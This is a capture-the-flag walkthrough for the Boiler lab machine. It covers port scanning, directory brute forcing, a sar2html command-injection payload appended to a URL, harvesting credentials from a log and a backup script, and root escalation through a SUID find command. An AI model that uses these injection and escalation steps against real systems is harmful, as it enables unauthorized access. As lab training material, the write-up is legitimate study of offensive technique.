Boiler CTF Walkthrough

let’s spice things up with medium difficulty Machine, It’s time for Boiler CTF Machine.

As Always, let’s start by enumerating the machine with Nmap.

nmap -sC -sV Machine_IP

and you would get the following

Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-21 14:02 EDT
Nmap scan report for 10.10.213.245
Host is up (0.31s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.59.163
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10000/tcp open  http    MiniServ 1.930 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Unix

What we can see from the previous results is

  • FTP service on port 21 with vsftpd 3.0.3 and enabled anonymous login
  • HTTP server running on port 80 using Apache 2.4.18
  • Robots file is available
  • Ubuntu OS is running on the machine
  • Second HTTP service on port 10000 with Miniserv 1.93

For a start, let’s login to FTP Service with “anonymous” since there’s a question about that, and you should see the following file

.info.txt

since we’re already in, let’s download the file for now.

now let’s answer multiple questions since we already have their answers.

File extension after anon login will be

txt

What is on the highest port? (it has 3 letters, so it’s not HTTP on port 10000, but since it’s 3 letters, I threw a guess as ssh and it worked)

ssh

But that means that we need to run a full port scan by Nmap which you can do by running

nmap -sC -sV Machine_IP -p-

What’s running on port 10000?

Webmin

Can you exploit the service running on that port? (yay/nay answer), let’s run a quick Searchsploit with the version

searchsploit miniserv 1.93 -w

but we got nothing, so let’s search for the Webmin

searchsploit webmin 1.93 -w

and voila!, we have 3 exploits that we can use

Webmin < 1.290 / Usermin < 1.220 - | https://www.exploit-db.com/exploits/1997
Webmin < 1.290 / Usermin < 1.220 - | https://www.exploit-db.com/exploits/2017
Webmin < 1.920 - 'rpc.cgi' Remote  | https://www.exploit-db.com/exploits/47330

honestly, I tried to put yay, but it didn’t work as I wasn’t sure if we have to run the exploit and check for it, i searched online but didn’t see a valid answer as all of them answered as “nay”, but sure we can keep the above results in our heads in case we needed to check for them.

What’s CMS can you access? , time to open the Browser and access the two websites we have(80 and 10000).

on port 80, we have the default Apache page

Boiler CTF – port 80 default Apache

if you access the page on port 10000, you might receive this error

Boiler CTF – SSL Error

this error is simple because of we’re accessing using HTTP, while we need to access HTTPS, if you try to access https://machine_ip:10000 you might get the following error

Boiler CTF – SSL Error

to fix that, you can click on “advanced” and then click on “add exception” , it will show a popup where you need to click “Confirm Security Exception” and then you should get the default page.

Boiler CTF – Webmin default page

and now you can write the answer

webmin

but, it won’t work, so now it’s time to use the information we have.

let’s start with the information we have before doing more enumeration, so far, we have robots.txt that we didn’t check along with the exploit we think might work and also we still have the .info.txt file.

let’s open the .info.txt file first, and we get the following:

Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!

this might be ROT encoding, so let’s try to decode it first from this website, and we can see that ROT13 makes sense, and we get the following results

Just wanted to see if you find it. Lol. Remember: Enumeration is the key!

so another hint for enumeration, let’s check the robots.txt file and we get the following information on port 80 server, while on port 10000 has no useful information

User-agent: *
Disallow: /

/tmp
/.ssh
/yellow
/not
/a+rabbit
/hole
/or
/is
/it

079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075

so we have multiple directories hidden, along with text decoded, let’s try to decode it from decimal to hexadecimal values

4f,54,6c,69,4d,44,59,32,4d,47,4e,6b,4f,54,56,68,5a,47,56,68,4d,7a,49,33,59,7a,55,30,4d,54,67,79,59,6d,46,68,4e,54,45,31,4f,44,51,4b

now,let’s convert from Hex to ASCII, and you should get the following results

OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK

let’s decode the string from base64 and you should get the following MD5 hash

99b0660cd95adea327c54182baa51584

which if you decode it, you will get the following answer

kidding

we can try to access that following directory, but it didn’t work, so let’s try to access the directories in the robots.txt

Which still leads to no where, it’s still early to execute the exploits since we had multiple hints to enumerate, so let’s start enumerating the two websites by using gobuster

We’ll start with the first server and let’s run it for 15 mins

gobuster dir --url http://Machine_IP/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

You should get the following results:

/manual (Status: 301)
/joomla (Status: 301)

And we got joomla, which is a CMS, and voila the answer works.

now let’s access the manual page first which is Apache Documentation Page, so let’s pass that for now and access Joomla, which we get the following page

Boiler CTF – Joomla Default Page

as you can see there’s a form on the right, so let’s open inspect element tool and see where’s the form submitting

You can see that it submits the data to the same page

/joomla/index.php

so before we try to brute force the password, let’s see what data we can get from the site along with running gobuster for the current directory

gobuster dir --url http://Machine_IP/joomla --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

Let’s scan the page, and try to get more information

  1. the post is written by user “Joomla”
  2. there’s a contact form that might be exploitable by SQL Injection

Keep Gobuster running for 15 mins and you should get the following results

/images (Status: 301)
/media (Status: 301)
/templates (Status: 301)
/modules (Status: 301)
/tests (Status: 301)
/bin (Status: 301)
/plugins (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/components (Status: 301)
/cache (Status: 301)
/libraries (Status: 301)
/installation (Status: 301)
/build (Status: 301)
/tmp (Status: 301)
/layouts (Status: 301)
/administrator (Status: 301)
/cli (Status: 301)
/_files (Status: 301)
/_test (Status: 301)

so let’s start with the obvious one , the administrator and we will get the default login page

Boiler CTF -Joomla Login Page

before we try to brute force it, let’s go check the rest of the pages

another interesting one is build, if you go into files, especially in build/jenkins/ directory, you will see 2 files

docker-compose.yml
unit-tests.sh

now let’s open the first file and we get some interesting credentials

version: '2'

services:
  test:
    image: joomlaprojects/docker-${PHPVERSION}
    volumes:
     - ../..:/opt/src
    working_dir: /opt/src
    depends_on:
     - mysql
     - memcached
     - redis
     - postgres

  mysql:
   image: mysql:5.7
   restart: always
   environment:
     MYSQL_DATABASE: joomla_ut
     MYSQL_USER: joomla_ut
     MYSQL_PASSWORD: joomla_ut
     MYSQL_ROOT_PASSWORD: joomla_ut

  memcached:
    image: memcached

  redis:
    image: redis

  postgres:
    image: postgres

and the second file will contain

#!/bin/bash
# Script for preparing the unit tests in Joomla!

# Path to the Joomla! installation
BASE="/opt/src"

until mysqladmin ping -h mysql --silent; do
  sleep 1
done

>&2 echo "Mysql alive!"

until psql -h "postgres" -U "postgres"  --quiet -o /dev/null -c '\l'; do
  sleep 1
done

>&2 echo "Postgres alive!"

# Setup databases for testing
mysql -u root joomla_ut -h mysql -pjoomla_ut < "$BASE/tests/unit/schema/mysql.sql"
psql -c 'create database joomla_ut;'  -U postgres -h "postgres" > /dev/null
psql -U "postgres" -h "postgres" -d joomla_ut -a -f "$BASE/tests/unit/schema/postgresql.sql" > /dev/null

echo "Testing $PHPVERSION"

phpunit -c $BASE/jenkins-phpunit.xml

so, what we get from the previous two files is

  • we have MySQL databases with the above credentials
  • we have postgress databases with the above credentials

another interesting directory is _files, where if you access it, it will give you the following

VjJodmNITnBaU0JrWVdsemVRbz0K

let’s try to decode it with base64 encoding, you will get

V2hvcHNpZSBkYWlzeQo=

let’s try to decode it again with base64

Whopsie daisy

so that’s a dead end for sure, let’s try the last one “_test” and we would get the following page

Boiler CTF – sar2html

You Can search for sar2html online and you would get the following exploit as a 2nd or 3rd result, while you can read more about from source forge or from the official github.

so the exploit works in the following way, in the sar2html directory which is “_test”, if we append the URL with

index.php?plot=;command

for example, the following command would list the files in the same directory

index.php?plot=;ls

but where are the results?! , The results will be displayed in the “Select # host”

Boiler CTF – sar2html command injection

now, one of the interesting file as always is the log file, which happened to be the answer of our next question

The interesting file name in the folder?

log.txt

so , let’s access the file by going to

http://machine_IP/joomla/_test/log.txt

which will give you something similar to this

Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperp@$$
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.

as you can see, we have credentials in the log with both username and password

basterd:superduperp@$$

also, the user is accessing SSH service on port 22, which strangely it didn’t show in our nmap results,so let’s run a full nmap scan to see which port belongs to ssh

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
10000/tcp open  snet-sensor-mgmt
55007/tcp open  unknown

let’s check the unknown port first, and voila! it worked.

after we login, let’s list the files, and we should get the following

drwxr-x--- 3 basterd basterd 4096 Aug 22  2019 .
drwxr-xr-x 4 root    root    4096 Aug 22  2019 ..
-rwxr-xr-x 1 stoner  basterd  699 Aug 21  2019 backup.sh
-rw------- 1 basterd basterd    0 Aug 22  2019 .bash_history
drwx------ 2 basterd basterd 4096 Aug 22  2019 .cache

and here we find the next answer for our machine.

Where was the other users pass stored(no extension, just the name)?

backup

now let’s open the file and read what does it do

REMOTE=1.2.3.4

SOURCE=/home/stoner
TARGET=/usr/local/backup

LOG=/home/stoner/bck.log
 
DATE=`date +%y\.%m\.%d\.`

USER=stoner
#superduperp@$$no1knows

ssh $USER@$REMOTE mkdir $TARGET/$DATE

if [ -d "$SOURCE" ]; then
    for i in `ls $SOURCE | grep 'data'`;do
	     echo "Begining copy of" $i  >> $LOG
	     scp  $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
	     echo $i "completed" >> $LOG
		
		if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null` ];then
		    rm $SOURCE/$i
		    echo $i "removed" >> $LOG
		    echo "####################" >> $LOG
				else
					echo "Copy not complete" >> $LOG
					exit 0
		fi 
    done
   

and here we can see the password for our next user

USER=stoner
superduperp@$$no1knows

now, let’s login to the next user, and list the files

drwxr-x--- 4 stoner stoner 4096 May 24 22:17 .
drwxr-xr-x 4 root   root   4096 Aug 22  2019 ..
drwx------ 2 stoner stoner 4096 May 24 22:17 .cache
drwxrwxr-x 2 stoner stoner 4096 Aug 22  2019 .nano
-rw-r--r-- 1 stoner stoner   34 Aug 21  2019 .secret

let’s open the secret file and you should get the next answer

user.txt

You made it till here, well done.

let’s check .nano directory, but there’s nothing inside, so let’s see if we can run anything as sudo by running

sudo -l

we will get the following results

(root) NOPASSWD: /NotThisTime/MessinWithYa

let’s search for programs that are owned by root and we can execute

find / -perm -u=s -type f 2>/dev/null

and you should get the following

/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping6
/bin/ping
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/apache2/suexec-custom
/usr/lib/apache2/suexec-pristine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgidmap
/usr/bin/find
/usr/bin/at
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newuidmap

one of the interesting executable is find command where it has a flag that allows us to execute a command.

so, if we run

find /root 

since we already know the flag will be in /root, you would get

/root
/root/root.txt

now let’s execute cat command with find to get the flag.

find /root -exec cat root.txt {} +

and we would get our flag

It wasn't that hard, was it?

and congratulations, you’ve solved the Boiler CTF